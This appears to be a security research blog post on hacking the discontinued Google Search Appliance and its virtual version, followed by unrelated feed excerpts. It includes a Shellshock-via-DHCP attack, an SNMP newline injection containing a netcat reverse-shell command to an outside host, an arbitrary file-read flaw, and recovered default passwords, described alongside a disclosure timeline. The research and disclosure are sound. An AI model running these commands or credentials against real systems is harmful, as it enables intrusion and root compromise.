  • Google Web services have some fixed URIs that provide information about the service itself.

Introduction

The Google Search Appliance (hereinafter referred to as GSA) is an enterprise search device launched by Google in 2002, used for indexing and retrieving internal or public network information. Around 2005, Google introduced the Google Mini for personal and small business use. Later, at the end of 2008, a virtual machine version was launched, called the Virtual Google Search Appliance (hereinafter referred to as VGSA). However, at the end of 2018, Google ended the life cycle of the GSA product and integrated it into the Cloud Search product line.

Appliance and Software Acquisition

We managed to purchase a device by searching “Google Search Appliance” on eBay.

Luckily, the first one we bought was a GSA with unerased data:

Even now, you can still find devices that are currently being sold.

On the other hand, The original public link of vGSA has been removed. http://dl.google.com/vgsa/vgsa_20090210.7z [removed] http://dl.google.com/vgsa/vgsa_20081028.7z [removed]

We found the file on BitTorrent magnet link:

magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992

Next, found the link to the old version software from Google Groups: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ

The link was:

http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [removed]

And we can obtain all version number from: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671

Guessing the File Naming Rules as install_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin

And write a shell script to attempt downloading software:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

Including the information found through internet search, successfully retrieved the following file:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (Virtual Google Search Appliance)

Next, we began research on vGSA. By default, after importing the virtual machine, this system only provides a function for network configuration and doesn’t provide a system shell for operation or use. However, because the virtual machine operates within ours own environment, it is usually possible to obtain system permissions through the following methods:

  • Directly altering unencrypted disk files
  • Modifying the virtual machine memory
  • Booting using CDs or disks from another operating system
  • Exploiting known vulnerabilities
  • Utilizing hard-coded administrator or system account passwords

The following image shows the network configuration screen:

CVE-2014-6271

When testing early Linux appliances and servers, especially those using the RedHat series operating system, there are often Shellshock vulnerabilities, and the 2008 released vGSA is no exception. Inserting option 114 in the DHCP server will be set in the environment variable, thereby triggering the vulnerability and executing any command.

The command attempted to be inserted is: useradd zzzzgsa. This command can be observed to be executed repeatedly, as error messages continue to appear in the console output.

vGSA operation system observation

After successfully obtaining operating system privileges, we can observe the network environment, the running applications, and the file system. Here are some insights gained from observing the operating system environment:

  • Version number is 5.2.0.G.27.
  • Services are mainly written in C/C++, Java, Python.
  • /export/hda3 seems to be the directory primarily used by the service.
  • /etc/shadow contains the root account with password hash x███████████M.
  • Administration interface listening on port 8000, 8443 with default admin password, j0njlRXpU5CQ.
  • /.gnupg contains ent_box_key public and private keys.
  • /.gnupg contains google_license_key public key.
  • /.ssh/authorized_keys contains two sets of public keys.
  • /root/.ssh/authorized_keys contains one set of public keys.
  • /root/.ssh/ contains two sets of SSH public and private keys.
  • /root/.gnupg/ contains ent_box_key public and private keys.
  • Oracle’s Outside In Technology is used to convert documents into HTML web pages.
  • The Java runtime environment uses a Security Manager for protection.
  • The request for engineer support function uses ppp to build a virtual private network, /etc/ppp/chap-secrets contains account passwords ( z██████c、]███████T ).
  • The boot menu password in /etc/lilo.conf is cmBalx7.
  • /export/hda3/versionmanager/google_key.symmetric has a string that seems to be used for symmetric encryption.
  • /export/hda3/versionmanager/vmanager_passwd contains two sets of username-password combinations ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= ).

Executable programs with network services are as follows:

Listen Port Process Name Program Language Function
22 ssh C/C++ OpenSSH Server
53 named C/C++ Bind Named
953 named C/C++ Bind Named
1111 webserver_config python Installer
2100 adminrunner.py python admin console backend
3990 monitor C/C++ monitor
4000 rtserver C/C++ unknown
4430 EnterpriseFrontend Java (with security manager) admin console frontend
4911 borgmon C/C++ borgmon
4916 reactor C/C++ unknown
5000 rtserver C/C++ unknown
5600 rtserver C/C++ unknown
6600 cacheserver C/C++ unknown
7800 EnterpriseFrontend Java (with security manager) admin console frontend (http)
7880 TableServer Java (with security manager) unknown
7882 AuthzChecker Java (without security manager) unknown
7886 tomcat Java tomcat server
8000 EnterpriseAdminConsole Java (without security manager) unknown
8443 stunnel C/C++ redirect http to https
8888 GWS C/C++ unknown
9300 oneboxserver C/C++ unknown
9328 entspellmixer C/C++ unknown
9400 mixserver C/C++ unknown
9402 mixserver C/C++ unknown
9448 qrewrite C/C++ unknown
9450 EnterpriseAdminConsole Java (without security manager ) unknown
10094 enterprise_onebox C/C++ unknown
10200 clustering_server C/C++ unknown
11913 sessionmanager C/C++ unknown
12345 RegistryServer Java (without security manager) unknown
19780 configmgr/ent_configmgr.py python unknown
19900 feedergate C/C++ extract, transform and feed records
21200 FileSystemGateway Java (with security manager) unknown
31300 rtserver C/C++ unknown

Despite the presence of so many services, most connections are blocked by iptables. The following are the iptables settings:

# Redirect privileged ports.
# (we listen as nobody, which can't attach to low ports, so redirect to high ports)
#
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

The following summarizes the actual accessible TCP attack surface:

Port Service Program Location
22 ssh /usr/sbin/sshd
7800 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
4430 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
19900 feedergate /export/hda3/5.2.0/local/google/bin/feedergate
8000 EnterpriseAdminConsole /export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
8443 stunnel /usr/sbin/stunnel

And we found that the strings in file /export/hda3/versionmanager/google_key.symmetric can be used to decrypt the content of all install bundles! After gaining privileges using CVE-2014-6271 and decrypting the contents of the install bundle, our research on vGSA has temporarily concluded.

But its lacks of memory protection might have some vulnerabilities that can be easily exploited.

GSA

Upon booting the installed appliance and attempting to change the boot sequence, we found that a password is required to enter the BIOS. Moreover, only some functions are accessible in the management interface of the Dell H700 RAID card:

Next, attempt to directly read the contents of the hard drive. If the hard drive content is not encrypted, there is a chance that the device’s operating system and software can be obtained directly. We found that its hard drive uses SAS interface for transmission. Before attempting, it is necessary to purchase a SAS HBA card. The LSI 9211-8i is used for connection in this test:

After connecting and attempting to read, it was discovered that this is a Self-Encrypting Drive (SED). It requires a password to unlock for access. OSSLab has a more detailed explanation here:

https://www.osslab.com.tw/ata-sed-security/ (chinese article)

There are several ways to continue trying when the hard drive cannot be directly accessed:

  • Try to read the password in the BIOS EEPROM and change the boot order.

This method requires damage to the motherboard and carries some risk. This method is only used when no vulnerabilities can be found at the software level. More information: https://blog.cybercx.co.nz/bypassing-bios-password

  • Use PCILeech to read, write memory to gain system privileges.

This method requires specific PCI-e devices, which were not prepared at the time. You can refer to this GitHub project:

https://github.com/ufrisk/pcileech

  • Look for software vulnerabilities that can access the service

This method is simpler and more feasible.

LF injection in Admin Console

After logging into the admin console, we observed a feature for obtaining system information through SNMP. Additionally, this feature allows the insertion of custom strings.:

We tried classic LF injection here:

Inject sysContact with a LF and following command:

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

After inserting the configuration value “extend”, we can use the command “snmpwalk” to trigger the SNMP’s extend functionality and execute a shell.

Command executed successfully, and connected back with a shell.

Arbitrary File Reading

From GSA 6.x series versions, we found that the 80/443 web services use Apache httpd in the RPM installation package. There are several http configurations located in /etc/httpd/conf.d/. In the files gsa-http.conf and gsaa-https.conf, certain directories are redirected to specific local services.

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

The communication ports 7886 and 7890 are services run by separate Apache Tomcat servers. When proxying two or more web servers, the path determination of Tomcat, ..;/, is an interesting test point. You can refer to the article written by our employee for more details:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

The point we’re interested in is dps, which doesn’t seem to be present in the old version of GSA. Extracting /WEB-INF/web.xml from dps.war allows us to inspect the web application configuration, and we’ve found that the endpoint of /font will handled by com.documill.dps.connector.servlet.user.DPSDownloadServlet

  <servlet>
    <servlet-name>font</servlet-name>
    <servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class>
    <init-param>
      <param-name>rootDirectory</param-name>
      <param-value>work/fonts/</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>font</servlet-name>
    <url-pattern>/font/*</url-pattern>
  </servlet-mapping>

And looking into DPSDownloadServlet

import com.davisor.net.servlet.DownloadServlet;
import com.documill.dps.*;
import java.io.*;
import javax.servlet.ServletContext;

public class DPSDownloadServlet extends DownloadServlet
    implements DPSUserService
{

    public DPSDownloadServlet()
    {
    }

    protected String getRealPath(ServletContext servletcontext, String s)
        throws IOException
    {
        DPS dps = DPSSingleton.getDPS();
        File file = dps.getHomeDir();
        if(file == null)
            throw new FileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");
        else
            return (new File(file, s)).getAbsolutePath();
    }

    private static final long serialVersionUID = 0L;
}

Step into com.davisor.net.servlet.DownloadServlet which extends DPSDownloadServlet

    protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s = httpservletrequest.getParameter(uriParameterName);
        if(!isValid(s))
        {
            httpservletresponse.sendError(400, (new StringBuilder()).append("Invalid file path: ").append(s).toString());
            return;
        }
        File file = rootDirectory.deriveFile(s);
        if(!file.isFile())
            httpservletresponse.sendError(404, (new StringBuilder()).append("No file:").append(s).toString());
        else
        if(!file.canRead())
        {
            httpservletresponse.sendError(403, (new StringBuilder()).append("Unreadable file:").append(s).toString());
        } else
        {
            long l = file.length();
            if(l > 0x7fffffffL)
            {
                httpservletresponse.sendError(413, (new StringBuilder()).append("File too big:").append(l).toString());
            } else
            {
                String s1 = MIME.getTypeFromPath(file.getName(), "application/octet-stream");
                httpservletresponse.setContentLength((int)l);
                httpservletresponse.setContentType(s1);
                httpservletresponse.setDateHeader("Last-Modified", file.lastModified());
                if(cacheExpires > 0L)
                {
                    httpservletresponse.setDateHeader("Expires", System.currentTimeMillis() + cacheExpires);
                    httpservletresponse.setHeader("Cache-Control", "public");
                }
                IO.copy(file, httpservletresponse.getOutputStream());
            }
        }
    }
    private static boolean isValid(String s)
    {
        return !Strings.isEmpty(s) && !s.contains("..");
    }

You can see here that the only check is whether the string contains ... However, we can directly specify the absolute path and read any local file directly!

The old version of GSA does not have the /font endpoint, but /dps/admin/admin has a similar file reading issue. You can directly specify the logName for file reading. Refer to the diagram below for directly reading the account password from the system management interface:

After successfully cracking the hash, you can log in, enable the SNMP service, and combine it with the first vulnerability to execute arbitrary commands with root privileges.

Other findings and misc

Internal URIs in web services

In GSA, there are multiple sub-services that communicate with each other using the HTTP protocol. Many of these services offer URLs such as /varz, /helpz, and /procz. We can access them either in the trusted network location defined for the service or using 127.0.0.1:

In vGSA, we observed that there is a service execution parameter called “useripheader=X-User-Ip”, this parameter allows direct access to a certain functionality of the externally exposed admin console when included in the request header as “X-User-Ip”.

The /procz endpoint can even fetch executables and the shared libraries they are using:

Appliances list

Model name Maker Specs version Document amount
Google Mini Gigabyte Pentium III 1G / 2GB memory / 120G 3.4.14 300,000
Google Mini-002X SuperMicro Pentium 4 3G / 2GB memory / 250G HDD 5.0.0 unknown
Google GB-1001 Dell Poweredge 2950 Xeon / 16GB memory / 1.25TB HDD unknown 3,000,000
Google GB-1002 Gigabyte unknown unknown unknown
Google GB-7007 Dell R710 Xeon E5520 / 48GB memory / 3TB HDD unknown 10,000,000
Google GB-9009 Dell unknown Xeon X5560 / 96GB memory / 3.6TB HDD unknown 30,000,000
Google G100 Dell R720XD unknown unknown unknown

Linux Kernel Version

GSA version Linux Kernel Version
7.6.0 Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0  
7.2.0 Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14 Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0 Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008

Timeline

時間 事件
2005/06/10 Java Code Injection CVE-2005-3757 reported by H D Moore
early 2008 GSA 5.0 released
2008/10/28 vgsa_20081028.7z (5.2.0) released
2013/04/20 GSA 6.14.0.G28 released
2014/03/20 Cross-site Scripting CVE-2014-0362 reported by Will Dormann
2014/10/01 GSA 7.0.14.G238 released
2014/10/03 GSA 7.2.0.G252 released
2014/12/12 GSA 7.2.0.G264 released
2015/02/07 GSA 7.2.0.G270 released
2015/04/15 GSA 7.4.0.G64 released
2015/04/22 GSA 7.4.0.G72 released
2015/04/30 GSA 7.4.0.G74 released
2015/06/04 GSA 7.4.0.G82 released
early 2016 Google announced that GSA will be sunset from the market.
2016/01/05 XML External Entitiy injection reported by Timo
2016/05/24 GSA 7.6.0.G36 released
2016/07/01 GSA 7.6.0.G42 released
2016/07/31 The author of this article obtained this device, with the version being 7.0.14
2016/08/25 GSA 7.6.0.G46 released
2016/10/21 GSA 7.6.0.G58 released
2017/01/19 GSA 7.6.50.G30 released
2017/04/19 GSA 7.6.50.G36 released
2017/07/28 GSA 7.6.50.G64 released
2017/11/09 GSA 7.6.250.G12 released
2017/12/28 The final date to order GSA.
2018/01/17 GSA 7.6.250.G20 released
2018/03/21 GSA 7.6.250.G26 released
2018/06/15 GSA 7.6.360.G10 released
2018/10/08 GSA 7.6.360.G16 released
2019/04/26 GSA 7.6.512.G18 released. It should be the last publicly released version.
2021/08/16 issues reported.
2021/08/16 replied from a bot, and triaged.
2021/08/16 issuetracker.google.com assigned a issue.
2021/08/18 Google said issue is not severe enough to qualify for a reward, but VRP panel will take a closer look.
2021/08/20 VRP panel has decided that the security impact of this issue does not meet the bar for a financial reward.
2021/11/01 Asking if a vulnerability will be assigned a CVE identifier.
2021/11/02 Confirming that a CVE identifier will not be assigned.
early 2023 Started writing this article
2023/06/04 First draft completed.

Conclusion

Although the GSA/vGSA is a product that has reached the end of its lifecycle, studying how Google increases product security and reduces attack vectors for devices can broaden our knowledge, which we might not usually come into contact with. Although it is not detailed in this article, the Java Security Manager and the Linux Kernel’s seccomp are both technologies used in the GSA, and this research has also left some goals for further study:

  • The feedergate service listening on port 19900.
  • Memory vulnerabilities in Oracle’s Outside-in Technology for converting file formats.
  • The convert_to_html seccomp sandbox

We will share when there are some research results, See you next time.

Other reference links

Desuperpacking Meta Superpacked APKs

30 June 2023 at 11:12
TL;DR Superpacking is a method of optimal binary compression developed by Meta to help reduce the size of their Android APKs. This compression for APKs makes sense for reducing network traffic required for distribution, but becomes an issue when trying to recover the original native ARM binaries for analysis. This post walks through the process of “desuperpacking” (decompressing) Meta Superpack...

HanseSecure bei der Walkshow: Cyber. Aber sicher!

21 April 2023 at 11:13

Expertentalk der TÜV SÜD Akademie

Ein gemeinsamer Walk und maximaler Input- das zeichnet die Walkshow der TÜV SÜD Akademie aus.
Florian Hansemann wurde als Security Experte eingeladen und legte konkrete Handlungsmöglichkeiten für Privatpersonen und Unternehmen dar.

Social Engineering begegnet uns täglich und skaliert. Daten von Privatpersonen sind ein gutes Geschäftsmodell geworden und die Angriffe werden immer professioneller. Ein Unternehmen zu übernehmen ist für Elite- Hacker meist mit 3 – 5 Stunden Aufwand verbunden. Die digitale Welt ist kaum fassbar und wächst unaufhaltsam.

Im Gespräch wurden essentielle Informationen zu den Themen Cybercrime & Cybersicherheit aufgeführt. Für Privatpersonen und Unternehmen wurden direkte Handlungsanweisungen und Tools erläutert (Datensicherung, Informationen über Blogbeiträge, Passwortsave, Monitoring, etc.). Die Inhalte zielten auf die effektive Erhöhung des Schutzes ab. Durch das Gespräch und die anschließenden Zuschauer-Fragerunde mit konkreten Fällen, liefert das Interview einen umfassendes Informationsgrundpacket.

Der klare Apell:

Es gibt Handlungsmöglichkeiten für Jeden, welche keine IT-Vorkenntnisse als Voraussetzung haben. Es gibt Tools und Informationsquellen (Blog), welche zur direkten Verbesserung des Sicherheitsniveaus führen.

Nehmt euch etwas zum Mitschreiben, schaut euch den Walk an und nehmt euch qualifizierten, kostenlosen Input mit!

Alternative könnt Ihr natürlich auch ein Gespräch bei uns buchen, damit wir prüfen, ob und wie wir Euch persönlich helfen können.

Der Beitrag HanseSecure bei der Walkshow: Cyber. Aber sicher! erschien zuerst auf HanseSecure GmbH.

Schwachstelle in PasswordSafe (Mateso)

By: daniel
6 February 2023 at 12:47

It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using ‚Content here, content here‘, making it look like readable English. Many desktop

Der Beitrag Schwachstelle in PasswordSafe (Mateso) erschien zuerst auf HanseSecure GmbH.

❌
❌